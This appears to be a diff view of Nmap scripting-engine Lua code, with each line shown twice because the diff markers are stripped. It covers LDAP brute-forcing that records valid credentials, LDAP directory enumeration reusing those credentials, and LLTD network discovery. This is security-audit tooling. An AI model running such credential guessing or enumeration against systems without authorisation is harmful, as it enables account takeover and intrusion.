table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account cannot log in at current time", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, account cannot log in at current time", fq_username, password:len()>0 and password or "<empty>" ))
credTable:add(fq_username,password, creds.State.TIME_RESTRICTED)
break
end
-- Login correct, user account can only log in from certain workstations
if not status and response:match("AcceptSecurityContext error, data 531,") then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account cannot log in from current host", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, account cannot log in from current host", fq_username, password:len()>0 and password or "<empty>" ))
credTable:add(fq_username,password, creds.State.HOST_RESTRICTED)
break
end
-- Login correct, user account can only log in from certain workstations
if not status and response:match("AcceptSecurityContext error, data 531,") then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account cannot log in from current host", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, account cannot log in from current host", fq_username, password:len()>0 and password or "<empty>" ))
credTable:add(fq_username,password, creds.State.HOST_RESTRICTED)
break
end
--Login, correct
if status then
status = is_valid_credential( socket, context )
if status then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials", fq_username, password:len()>0 and password or "<empty>" ) )
-- Add credentials for other ldap scripts to use
if nmap.registry.ldapaccounts == nil then
nmap.registry.ldapaccounts = {}
end
nmap.registry.ldapaccounts[fq_username]=password
credTable:add(fq_username,password, creds.State.VALID)
--Login, correct
if status then
status = is_valid_credential( socket, context )
if status then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials", fq_username, password:len()>0 and password or "<empty>" ) )
-- Add credentials for other ldap scripts to use
if nmap.registry.ldapaccounts == nil then
nmap.registry.ldapaccounts = {}
end
nmap.registry.ldapaccounts[fq_username]=password
credTable:add(fq_username,password, creds.State.VALID)
break
end
end
end
passwords("reset")
end
break
end
end
end
passwords("reset")
end
stdnse.print_debug( "Finished brute against LDAP, total tries: %d, tps: %d", tot_tries, ( tot_tries / ( ( nmap.clock_ms() - clock_start ) / 1000 ) ) )
stdnse.print_debug( "Finished brute against LDAP, total tries: %d, tps: %d", tot_tries, ( tot_tries / ( ( nmap.clock_ms() - clock_start ) / 1000 ) ) )
if ( invalid_account_cnt == user_cnt and base_dn ~= nil ) then
return "WARNING: All usernames were invalid. Invalid LDAP base?"
end
if ( invalid_account_cnt == user_cnt and base_dn ~= nil ) then
return "WARNING: All usernames were invalid. Invalid LDAP base?"
end
if output_prefix then
local output_file = output_prefix .. "_" .. host.ip .. "_" .. port.number
status, err = credTable:saveToFile(output_file,output_type)
if not status then
stdnse.print_debug(err)
end
end
if output_prefix then
local output_file = output_prefix .. "_" .. host.ip .. "_" .. port.number
status, err = credTable:saveToFile(output_file,output_type)
if not status then
stdnse.print_debug(err)
end
end
if err then
output = stdnse.format_output(true, valid_accounts ) .. stdnse.format_output(true, err) or stdnse.format_output(true, err)
else
output = stdnse.format_output(true, valid_accounts) or ""
end
if err then
output = stdnse.format_output(true, valid_accounts ) .. stdnse.format_output(true, err) or stdnse.format_output(true, err)
else
output = stdnse.format_output(true, valid_accounts) or ""
end
return output
return output
end

View File

@@ -103,198 +103,198 @@ portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
function action(host,port)
local status
local socket, opt
local args = nmap.registry.args
local username = stdnse.get_script_args('ldap.username')
local password = stdnse.get_script_args('ldap.password')
local qfilter = stdnse.get_script_args('ldap.qfilter')
local searchAttrib = stdnse.get_script_args('ldap.searchattrib')
local searchValue = stdnse.get_script_args('ldap.searchvalue')
local base = stdnse.get_script_args('ldap.base')
local attribs = stdnse.get_script_args('ldap.attrib')
local saveFile = stdnse.get_script_args('ldap.savesearch')
local accounts
local objCount = 0
local maxObjects = stdnse.get_script_args('ldap.maxobjects') and tonumber(stdnse.get_script_args('ldap.maxobjects')) or 20
local status
local socket, opt
local args = nmap.registry.args
local username = stdnse.get_script_args('ldap.username')
local password = stdnse.get_script_args('ldap.password')
local qfilter = stdnse.get_script_args('ldap.qfilter')
local searchAttrib = stdnse.get_script_args('ldap.searchattrib')
local searchValue = stdnse.get_script_args('ldap.searchvalue')
local base = stdnse.get_script_args('ldap.base')
local attribs = stdnse.get_script_args('ldap.attrib')
local saveFile = stdnse.get_script_args('ldap.savesearch')
local accounts
local objCount = 0
local maxObjects = stdnse.get_script_args('ldap.maxobjects') and tonumber(stdnse.get_script_args('ldap.maxobjects')) or 20
-- In order to discover what protocol to use (SSL/TCP) we need to send a few bytes to the server
-- An anonymous bind should do it
local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 )
local _
socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil )
-- In order to discover what protocol to use (SSL/TCP) we need to send a few bytes to the server
-- An anonymous bind should do it
local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 )
local _
socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil )
if not socket then
return
end
if not socket then
return
end
-- Check if ldap-brute stored us some credentials
if ( not(username) and nmap.registry.ldapaccounts~=nil ) then
accounts = nmap.registry.ldapaccounts
end
-- Check if ldap-brute stored us some credentials
if ( not(username) and nmap.registry.ldapaccounts~=nil ) then
accounts = nmap.registry.ldapaccounts
end
-- We close and re-open the socket so that the anonymous bind does not distract us
socket:close()
status = socket:connect(host, port, opt)
socket:set_timeout(10000)
-- We close and re-open the socket so that the anonymous bind does not distract us
socket:close()
status = socket:connect(host, port, opt)
socket:set_timeout(10000)
local req
local searchResEntries
local contexts = {}
local result = {}
local filter
local req
local searchResEntries
local contexts = {}
local result = {}
local filter
if base == nil then
req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = { "defaultNamingContext", "namingContexts" } }
status, searchResEntries = ldap.searchRequest( socket, req )
if base == nil then
req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = { "defaultNamingContext", "namingContexts" } }
status, searchResEntries = ldap.searchRequest( socket, req )
if not status then
socket:close()
return
end
if not status then
socket:close()
return
end
contexts = ldap.extractAttribute( searchResEntries, "defaultNamingContext" )
contexts = ldap.extractAttribute( searchResEntries, "defaultNamingContext" )
-- OpenLDAP does not have a defaultNamingContext
if not contexts then
contexts = ldap.extractAttribute( searchResEntries, "namingContexts" )
end
else
table.insert(contexts, base)
end
-- OpenLDAP does not have a defaultNamingContext
if not contexts then
contexts = ldap.extractAttribute( searchResEntries, "namingContexts" )
end
else
table.insert(contexts, base)
end
if ( not(contexts) or #contexts == 0 ) then
stdnse.print_debug( "Failed to retrieve namingContexts" )
contexts = {""}
end
if ( not(contexts) or #contexts == 0 ) then
stdnse.print_debug( "Failed to retrieve namingContexts" )
contexts = {""}
end
-- perform a bind only if we have valid credentials
if ( username ) then
local bindParam = { version=3, ['username']=username, ['password']=password}
local status, errmsg = ldap.bindRequest( socket, bindParam )
-- perform a bind only if we have valid credentials
if ( username ) then
local bindParam = { version=3, ['username']=username, ['password']=password}
local status, errmsg = ldap.bindRequest( socket, bindParam )
if not status then
stdnse.print_debug( string.format("ldap-search failed to bind: %s", errmsg) )
return " \n ERROR: Authentication failed"
end
-- or if ldap-brute found us something
elseif ( accounts ) then
for username, password in pairs(accounts) do
local bindParam = { version=3, ['username']=username, ['password']=password}
local status, errmsg = ldap.bindRequest( socket, bindParam )
if not status then
stdnse.print_debug( string.format("ldap-search failed to bind: %s", errmsg) )
return " \n ERROR: Authentication failed"
end
-- or if ldap-brute found us something
elseif ( accounts ) then
for username, password in pairs(accounts) do
local bindParam = { version=3, ['username']=username, ['password']=password}
local status, errmsg = ldap.bindRequest( socket, bindParam )
if status then
break
end
end
end
if status then
break
end
end
end
if qfilter == "users" then
filter = { op=ldap.FILTER._or, val=
{
{ op=ldap.FILTER.equalityMatch, obj='objectClass', val='user' },
{ op=ldap.FILTER.equalityMatch, obj='objectClass', val='posixAccount' },
{ op=ldap.FILTER.equalityMatch, obj='objectClass', val='person' }
}
}
elseif qfilter == "computers" or qfilter == "computer" then
filter = { op=ldap.FILTER.equalityMatch, obj='objectClass', val='computer' }
if qfilter == "users" then
filter = { op=ldap.FILTER._or, val=
{
{ op=ldap.FILTER.equalityMatch, obj='objectClass', val='user' },
{ op=ldap.FILTER.equalityMatch, obj='objectClass', val='posixAccount' },
{ op=ldap.FILTER.equalityMatch, obj='objectClass', val='person' }
}
}
elseif qfilter == "computers" or qfilter == "computer" then
filter = { op=ldap.FILTER.equalityMatch, obj='objectClass', val='computer' }
elseif qfilter == "ad_dcs" then
filter = { op=ldap.FILTER.extensibleMatch, obj='userAccountControl', val='1.2.840.113556.1.4.803:=8192' }
elseif qfilter == "ad_dcs" then
filter = { op=ldap.FILTER.extensibleMatch, obj='userAccountControl', val='1.2.840.113556.1.4.803:=8192' }
elseif qfilter == "custom" then
if searchAttrib == nil or searchValue == nil then
return "\n\nERROR: Please specify both ldap.searchAttrib and ldap.searchValue using using the custom qfilter."
end
if string.find(searchValue, '*') == nil then
filter = { op=ldap.FILTER.equalityMatch, obj=searchAttrib, val=searchValue }
else
filter = { op=ldap.FILTER.substrings, obj=searchAttrib, val=searchValue }
end
elseif qfilter == "custom" then
if searchAttrib == nil or searchValue == nil then
return "\n\nERROR: Please specify both ldap.searchAttrib and ldap.searchValue using using the custom qfilter."
end
if string.find(searchValue, '*') == nil then
filter = { op=ldap.FILTER.equalityMatch, obj=searchAttrib, val=searchValue }
else
filter = { op=ldap.FILTER.substrings, obj=searchAttrib, val=searchValue }
end
elseif qfilter == "all" or qfilter == nil then
filter = nil -- { op=ldap.FILTER}
else
return " \n\nERROR: Unsupported Quick Filter: " .. qfilter
end
elseif qfilter == "all" or qfilter == nil then
filter = nil -- { op=ldap.FILTER}
else
return " \n\nERROR: Unsupported Quick Filter: " .. qfilter
end
if type(attribs) == 'string' then
local tmp = attribs
attribs = {}
table.insert(attribs, tmp)
end
if type(attribs) == 'string' then
local tmp = attribs
attribs = {}
table.insert(attribs, tmp)
end
for _, context in ipairs(contexts) do
for _, context in ipairs(contexts) do
req = {
baseObject = context,
scope = ldap.SCOPE.sub,
derefPolicy = ldap.DEREFPOLICY.default,
filter = filter,
attributes = attribs,
['maxObjects'] = maxObjects }
status, searchResEntries = ldap.searchRequest( socket, req )
req = {
baseObject = context,
scope = ldap.SCOPE.sub,
derefPolicy = ldap.DEREFPOLICY.default,
filter = filter,
attributes = attribs,
['maxObjects'] = maxObjects }
status, searchResEntries = ldap.searchRequest( socket, req )
if not status then
if ( searchResEntries:match("DSID[-]0C090627") and not(username) ) then
return "ERROR: Failed to bind as the anonymous user"
else
stdnse.print_debug( string.format( "ldap.searchRequest returned: %s", searchResEntries ) )
return
end
end
if not status then
if ( searchResEntries:match("DSID[-]0C090627") and not(username) ) then
return "ERROR: Failed to bind as the anonymous user"
else
stdnse.print_debug( string.format( "ldap.searchRequest returned: %s", searchResEntries ) )
return
end
end
local result_part = ldap.searchResultToTable( searchResEntries )
local result_part = ldap.searchResultToTable( searchResEntries )
if saveFile then
local output_file = saveFile .. "_" .. host.ip .. "_" .. port.number .. ".csv"
local save_status, save_err = ldap.searchResultToFile(searchResEntries,output_file)
if not save_status then
stdnse.print_debug(save_err)
end
end
if saveFile then
local output_file = saveFile .. "_" .. host.ip .. "_" .. port.number .. ".csv"
local save_status, save_err = ldap.searchResultToFile(searchResEntries,output_file)
if not save_status then
stdnse.print_debug(save_err)
end
end
objCount = objCount + (result_part and #result_part or 0)
result_part.name = ""
objCount = objCount + (result_part and #result_part or 0)
result_part.name = ""
if ( context ) then
result_part.name = ("Context: %s"):format(#context > 0 and context or "<empty>")
end
if ( qfilter ) then
result_part.name = result_part.name .. ("; QFilter: %s"):format(qfilter)
end
if ( attribs ) then
result_part.name = result_part.name .. ("; Attributes: %s"):format(stdnse.strjoin(",", attribs))
end
if ( context ) then
result_part.name = ("Context: %s"):format(#context > 0 and context or "<empty>")
end
if ( qfilter ) then
result_part.name = result_part.name .. ("; QFilter: %s"):format(qfilter)
end
if ( attribs ) then
result_part.name = result_part.name .. ("; Attributes: %s"):format(stdnse.strjoin(",", attribs))
end
table.insert( result, result_part )
table.insert( result, result_part )
-- catch any softerrors
if searchResEntries.resultCode ~= 0 then
local output = stdnse.format_output(true, result )
output = output .. string.format("\n\n\n=========== %s ===========", searchResEntries.errorMessage )
-- catch any softerrors
if searchResEntries.resultCode ~= 0 then
local output = stdnse.format_output(true, result )
output = output .. string.format("\n\n\n=========== %s ===========", searchResEntries.errorMessage )
return output
end
return output
end
end
end
-- perform a unbind only if we have valid credentials
if ( username ) then
status = ldap.unbindRequest( socket )
end
-- perform a unbind only if we have valid credentials
if ( username ) then
status = ldap.unbindRequest( socket )
end
socket:close()
socket:close()
-- if taken a way and ldap returns a single result, it ain't shown....
--result.name = "LDAP Results"
-- if taken a way and ldap returns a single result, it ain't shown....
--result.name = "LDAP Results"
local output = stdnse.format_output(true, result )
local output = stdnse.format_output(true, result )
if ( maxObjects ~= -1 and objCount == maxObjects ) then
output = output .. ("\n\nResult limited to %d objects (see ldap.maxobjects)"):format(maxObjects)
end
if ( maxObjects ~= -1 and objCount == maxObjects ) then
output = output .. ("\n\nResult limited to %d objects (see ldap.maxobjects)"):format(maxObjects)
end
return output
return output
end

View File

@@ -45,296 +45,296 @@ categories = {"broadcast","discovery","safe"}
prerule = function()
if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
end
nmap.registry[SCRIPT_NAME].rootfail = true
return nil
end
if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
end
nmap.registry[SCRIPT_NAME].rootfail = true
return nil
end
if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
return true
return true
end
--- Converts a 6 byte string into the familiar MAC address formatting
-- @param mac string containing the MAC address
-- @return formatted string suitable for printing
local function get_mac_addr( mac )
local catch = function() return end
local try = nmap.new_try(catch)
local mac_prefixes = try(datafiles.parse_mac_prefixes())
local catch = function() return end
local try = nmap.new_try(catch)
local mac_prefixes = try(datafiles.parse_mac_prefixes())
if mac:len() ~= 6 then
return "Unknown"
else
local prefix = string.upper(string.format("%02x%02x%02x", mac:byte(1), mac:byte(2), mac:byte(3)))
local manuf = mac_prefixes[prefix] or "Unknown"
return string.format("%s (%s)", stdnse.format_mac(mac:sub(1,6)), manuf )
end
if mac:len() ~= 6 then
return "Unknown"
else
local prefix = string.upper(string.format("%02x%02x%02x", mac:byte(1), mac:byte(2), mac:byte(3)))
local manuf = mac_prefixes[prefix] or "Unknown"
return string.format("%s (%s)", stdnse.format_mac(mac:sub(1,6)), manuf )
end
end
--- Gets a raw ethernet buffer with LLTD information and returns the responding host's IP and MAC
local parseHello = function(data)
-- HelloMsg = [
-- ethernet_hdr = [mac_dst(6), mac_src(6), protocol(2)],
-- lltd_demultiplex_hdr = [version(1), type_of_service(1), reserved(1), function(1)],
-- base_hdr = [mac_dst(6), mac_src(6), seq_no(2)],
-- up_hello_hdr = [ generation_number(2), current_mapper_address(6), apparent_mapper_address(6), tlv_list(var) ]
--]
-- HelloMsg = [
-- ethernet_hdr = [mac_dst(6), mac_src(6), protocol(2)],
-- lltd_demultiplex_hdr = [version(1), type_of_service(1), reserved(1), function(1)],
-- base_hdr = [mac_dst(6), mac_src(6), seq_no(2)],
-- up_hello_hdr = [ generation_number(2), current_mapper_address(6), apparent_mapper_address(6), tlv_list(var) ]
--]
--HelloStruct = {
-- mac_src,
-- sequence_number,
-- generation_number,
-- tlv_list(dict)
--}
local types = {"Host ID", "Characteristics", "Physical Medium", "Wireless Mode", "802.11 BSSID",
"802.11 SSID", "IPv4 Address", "IPv6 Address", "802.11 Max Operational Rate",
"Performance Counter Frequency", nil, "Link Speed", "802.11 RSSI", "Icon Image", "Machine Name",
"Support Information", "Friendly Name", "Device UUID", "Hardware ID", "QoS Characteristics",
"802.11 Physical Medium", "AP Association Table", "Detailed Icon Image", "Sees-List Working Set",
"Component Table", "Repeater AP Lineage", "Repeater AP Table"}
local mac = nil
local ipv4 = nil
local ipv6 = nil
local hostname = nil
--HelloStruct = {
-- mac_src,
-- sequence_number,
-- generation_number,
-- tlv_list(dict)
--}
local types = {"Host ID", "Characteristics", "Physical Medium", "Wireless Mode", "802.11 BSSID",
"802.11 SSID", "IPv4 Address", "IPv6 Address", "802.11 Max Operational Rate",
"Performance Counter Frequency", nil, "Link Speed", "802.11 RSSI", "Icon Image", "Machine Name",
"Support Information", "Friendly Name", "Device UUID", "Hardware ID", "QoS Characteristics",
"802.11 Physical Medium", "AP Association Table", "Detailed Icon Image", "Sees-List Working Set",
"Component Table", "Repeater AP Lineage", "Repeater AP Table"}
local mac = nil
local ipv4 = nil
local ipv6 = nil
local hostname = nil
local pos = 1
pos = pos + 6
local mac_src = data:sub(pos,pos+5)
local pos = 1
pos = pos + 6
local mac_src = data:sub(pos,pos+5)
pos = pos + 24
local seq_no = data:sub(pos,pos+1)
pos = pos + 24
local seq_no = data:sub(pos,pos+1)
pos = pos + 2
local generation_no = data:sub(pos,pos+1)
pos = pos + 2
local generation_no = data:sub(pos,pos+1)
pos = pos + 14
local tlv = data:sub(pos)
pos = pos + 14
local tlv = data:sub(pos)
local tlv_list = {}
local p = 1
while p < #tlv do
local t = tlv:byte(p)
if t == 0x00 then
break
else
p = p + 1
local l = tlv:byte(p)
local tlv_list = {}
local p = 1
while p < #tlv do
local t = tlv:byte(p)
if t == 0x00 then
break
else
p = p + 1
local l = tlv:byte(p)
p = p + 1
local v = tlv:sub(p,p+l)
p = p + 1
local v = tlv:sub(p,p+l)
if t == 0x01 then
-- Host ID (MAC Address)
mac = get_mac_addr(v:sub(1,6))
elseif t == 0x08 then
ipv6 = string.format(
"%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x",
v:byte(1), v:byte(2), v:byte(3), v:byte(4),
v:byte(5), v:byte(6), v:byte(7), v:byte(8),
v:byte(9), v:byte(10), v:byte(11), v:byte(12),
v:byte(13), v:byte(14), v:byte(15), v:byte(16))
elseif t == 0x07 then
-- IPv4 address
ipv4 = string.format("%d.%d.%d.%d",v:byte(1),v:byte(2),v:byte(3),v:byte(4)), mac
if t == 0x01 then
-- Host ID (MAC Address)
mac = get_mac_addr(v:sub(1,6))
elseif t == 0x08 then
ipv6 = string.format(
"%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x",
v:byte(1), v:byte(2), v:byte(3), v:byte(4),
v:byte(5), v:byte(6), v:byte(7), v:byte(8),
v:byte(9), v:byte(10), v:byte(11), v:byte(12),
v:byte(13), v:byte(14), v:byte(15), v:byte(16))
elseif t == 0x07 then
-- IPv4 address
ipv4 = string.format("%d.%d.%d.%d",v:byte(1),v:byte(2),v:byte(3),v:byte(4)), mac
-- Machine Name (Hostname)
elseif t == 0x0f then
hostname = ''
-- Hostname is returned in unicode, but Lua doesn't support that,
-- so we skip 00 values.
for i=1, #v-1, 2 do
hostname = hostname .. string.char(v:byte(i))
end
end
-- Machine Name (Hostname)
elseif t == 0x0f then
hostname = ''
-- Hostname is returned in unicode, but Lua doesn't support that,
-- so we skip 00 values.
for i=1, #v-1, 2 do
hostname = hostname .. string.char(v:byte(i))
end
end
p = p + l
p = p + l
if ipv4 and ipv6 and mac and hostname then
break
end
end
end
if ipv4 and ipv6 and mac and hostname then
break
end
end
end
return ipv4, mac, ipv6, hostname
return ipv4, mac, ipv6, hostname
end
--- Creates an LLTD Quick Discovery packet with the source MAC address
-- @param mac_src - six byte long binary string
local QuickDiscoveryPacket = function(mac_src)
local ethernet_hdr, demultiplex_hdr, base_hdr, discover_up_lev_hdr
local ethernet_hdr, demultiplex_hdr, base_hdr, discover_up_lev_hdr
-- set up ethernet header = [ mac_dst, mac_src, protocol ]
local mac_dst = "FF FF FF FF FF FF" -- broadcast
local protocol = "88 d9" -- LLTD protocol number
-- set up ethernet header = [ mac_dst, mac_src, protocol ]
local mac_dst = "FF FF FF FF FF FF" -- broadcast
local protocol = "88 d9" -- LLTD protocol number
ethernet_hdr = bin.pack("HAH",mac_dst, mac_src, protocol)
ethernet_hdr = bin.pack("HAH",mac_dst, mac_src, protocol)
-- set up LLTD demultiplex header = [ version, type_of_service, reserved, function ]
local lltd_version = "01" -- Fixed Value
local lltd_type_of_service = "01" -- Type Of Service = Quick Discovery(0x01)
local lltd_reserved = "00" -- Fixed value
local lltd_function = "00" -- Function = QuickDiscovery->Discover (0x00)
-- set up LLTD demultiplex header = [ version, type_of_service, reserved, function ]
local lltd_version = "01" -- Fixed Value
local lltd_type_of_service = "01" -- Type Of Service = Quick Discovery(0x01)
local lltd_reserved = "00" -- Fixed value
local lltd_function = "00" -- Function = QuickDiscovery->Discover (0x00)
demultiplex_hdr = bin.pack("HHHH", lltd_version, lltd_type_of_service, lltd_reserved, lltd_function )
demultiplex_hdr = bin.pack("HHHH", lltd_version, lltd_type_of_service, lltd_reserved, lltd_function )
-- set up LLTD base header = [ mac_dst, mac_src, seq_num(xid) ]
local lltd_seq_num = openssl.rand_bytes(2)
-- set up LLTD base header = [ mac_dst, mac_src, seq_num(xid) ]
local lltd_seq_num = openssl.rand_bytes(2)
base_hdr = bin.pack("HHA", mac_dst, mac_src, lltd_seq_num)
base_hdr = bin.pack("HHA", mac_dst, mac_src, lltd_seq_num)
-- set up LLTD Upper Level Header = [ generation_number, number_of_stations, station_list ]
local generation_number = openssl.rand_bytes(2)
local number_of_stations = "00 00"
local station_list = "00 00 00 00 00 00 " .. "00 00 00 00 00 00 " ..
"00 00 00 00 00 00 " .."00 00 00 00 00 00 "
-- set up LLTD Upper Level Header = [ generation_number, number_of_stations, station_list ]
local generation_number = openssl.rand_bytes(2)
local number_of_stations = "00 00"
local station_list = "00 00 00 00 00 00 " .. "00 00 00 00 00 00 " ..
"00 00 00 00 00 00 " .."00 00 00 00 00 00 "
discover_up_lev_hdr = bin.pack("AHH", generation_number, number_of_stations, station_list)
discover_up_lev_hdr = bin.pack("AHH", generation_number, number_of_stations, station_list)
-- put them all together and return
return bin.pack("AAAA", ethernet_hdr, demultiplex_hdr, base_hdr, discover_up_lev_hdr)
-- put them all together and return
return bin.pack("AAAA", ethernet_hdr, demultiplex_hdr, base_hdr, discover_up_lev_hdr)
end
--- Runs a thread which discovers LLTD Responders on a certain interface
local LLTDDiscover = function(if_table, lltd_responders, timeout)
local timeout_s = 3
local condvar = nmap.condvar(lltd_responders)
local pcap = nmap.new_socket()
pcap:set_timeout(5000)
local timeout_s = 3
local condvar = nmap.condvar(lltd_responders)
local pcap = nmap.new_socket()
pcap:set_timeout(5000)
local dnet = nmap.new_dnet()
local try = nmap.new_try(function() dnet:ethernet_close() pcap:close() end)
local dnet = nmap.new_dnet()
local try = nmap.new_try(function() dnet:ethernet_close() pcap:close() end)
pcap:pcap_open(if_table.device, 256, false, "")
try(dnet:ethernet_open(if_table.device))
pcap:pcap_open(if_table.device, 256, false, "")
try(dnet:ethernet_open(if_table.device))
local packet = QuickDiscoveryPacket(if_table.mac)
try( dnet:ethernet_send(packet) )
stdnse.sleep(0.5)
try( dnet:ethernet_send(packet) )
local packet = QuickDiscoveryPacket(if_table.mac)
try( dnet:ethernet_send(packet) )
stdnse.sleep(0.5)
try( dnet:ethernet_send(packet) )
local start = os.time()
local start_s = os.time()
while true do
local status, plen, l2, l3, _ = pcap:pcap_receive()
if status then
local packet = l2..l3
if stdnse.tohex(packet:sub(13,14)) == "88d9" then
start_s = os.time()
local start = os.time()
local start_s = os.time()
while true do
local status, plen, l2, l3, _ = pcap:pcap_receive()
if status then
local packet = l2..l3
if stdnse.tohex(packet:sub(13,14)) == "88d9" then
start_s = os.time()
local ipv4, mac, ipv6, hostname = parseHello(packet)
local ipv4, mac, ipv6, hostname = parseHello(packet)
if ipv4 then
if not lltd_responders[ipv4] then
lltd_responders[ipv4] = {}
lltd_responders[ipv4].hostname = hostname
lltd_responders[ipv4].mac = mac
lltd_responders[ipv4].ipv6 = ipv6
end
end
else
if os.time() - start_s > timeout_s then
break
end
end
else
break
end
if ipv4 then
if not lltd_responders[ipv4] then
lltd_responders[ipv4] = {}
lltd_responders[ipv4].hostname = hostname
lltd_responders[ipv4].mac = mac
lltd_responders[ipv4].ipv6 = ipv6
end
end
else
if os.time() - start_s > timeout_s then
break
end
end
else
break
end
if os.time() - start > timeout then
break
end
end
dnet:ethernet_close()
pcap:close()
condvar("signal")
if os.time() - start > timeout then
break
end
end
dnet:ethernet_close()
pcap:close()
condvar("signal")
end
action = function()
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
timeout = timeout or 30
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
timeout = timeout or 30
--get interface script-args, if any
local interface_arg = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
local interface_opt = nmap.get_interface()
--get interface script-args, if any
local interface_arg = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
local interface_opt = nmap.get_interface()
-- interfaces list (decide which interfaces to broadcast on)
local interfaces ={}
if interface_opt or interface_arg then
-- single interface defined
local interface = interface_opt or interface_arg
local if_table = nmap.get_interface_info(interface)
if not if_table or not if_table.address or not if_table.link=="ethernet" then
stdnse.print_debug("Interface not supported or not properly configured.")
return false
end
table.insert(interfaces, if_table)
else
local tmp_ifaces = nmap.list_interfaces()
for _, if_table in ipairs(tmp_ifaces) do
if if_table.address and
if_table.link=="ethernet" and
if_table.address:match("%d+%.%d+%.%d+%.%d+") then
-- interfaces list (decide which interfaces to broadcast on)
local interfaces ={}
if interface_opt or interface_arg then
-- single interface defined
local interface = interface_opt or interface_arg
local if_table = nmap.get_interface_info(interface)
if not if_table or not if_table.address or not if_table.link=="ethernet" then
stdnse.print_debug("Interface not supported or not properly configured.")
return false
end
table.insert(interfaces, if_table)
else
local tmp_ifaces = nmap.list_interfaces()
for _, if_table in ipairs(tmp_ifaces) do
if if_table.address and
if_table.link=="ethernet" and
if_table.address:match("%d+%.%d+%.%d+%.%d+") then
table.insert(interfaces, if_table)
end
end
end
table.insert(interfaces, if_table)
end
end
end
if #interfaces == 0 then
stdnse.print_debug("No interfaces found.")
return
end
if #interfaces == 0 then
stdnse.print_debug("No interfaces found.")
return
end
local lltd_responders={}
local threads ={}
local condvar = nmap.condvar(lltd_responders)
local lltd_responders={}
local threads ={}
local condvar = nmap.condvar(lltd_responders)
-- party time
for _, if_table in ipairs(interfaces) do
-- create a thread for each interface
local co = stdnse.new_thread(LLTDDiscover, if_table, lltd_responders, timeout)
threads[co]=true
end
-- party time
for _, if_table in ipairs(interfaces) do
-- create a thread for each interface
local co = stdnse.new_thread(LLTDDiscover, if_table, lltd_responders, timeout)
threads[co]=true
end
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
-- generate output
local output = {}
for ip_addr, info in pairs(lltd_responders) do
if target.ALLOW_NEW_TARGETS then target.add(ip_addr) end
-- generate output
local output = {}
for ip_addr, info in pairs(lltd_responders) do
if target.ALLOW_NEW_TARGETS then target.add(ip_addr) end
local s = {}
s.name = ip_addr
if info.hostname then
table.insert(s, "Hostname: " .. info.hostname)
end
if info.mac then
table.insert(s, "Mac: " .. info.mac)
end
if info.ipv6 then
table.insert(s, "IPv6: " .. info.ipv6)
end
table.insert(output,s)
end
local s = {}
s.name = ip_addr
if info.hostname then
table.insert(s, "Hostname: " .. info.hostname)
end
if info.mac then
table.insert(s, "Mac: " .. info.mac)
end
if info.ipv6 then
table.insert(s, "IPv6: " .. info.ipv6)
end
table.insert(output,s)
end
if #output>0 and not target.ALLOW_NEW_TARGETS then
table.insert(output,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output( (#output>0), output )
if #output>0 and not target.ALLOW_NEW_TARGETS then
table.insert(output,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output( (#output>0), output )
end

View File

@@ -45,243 +45,243 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive","safe"}
portrule = shortport.port_or_service(55553,"metasploit-msgrpc")
local arg_username = stdnse.get_script_args(SCRIPT_NAME .. ".username")
local arg_password = stdnse.get_script_args(SCRIPT_NAME .. ".password")
local arg_command = stdnse.get_script_args(SCRIPT_NAME .. ".command")
local arg_username = stdnse.get_script_args(SCRIPT_NAME .. ".username")
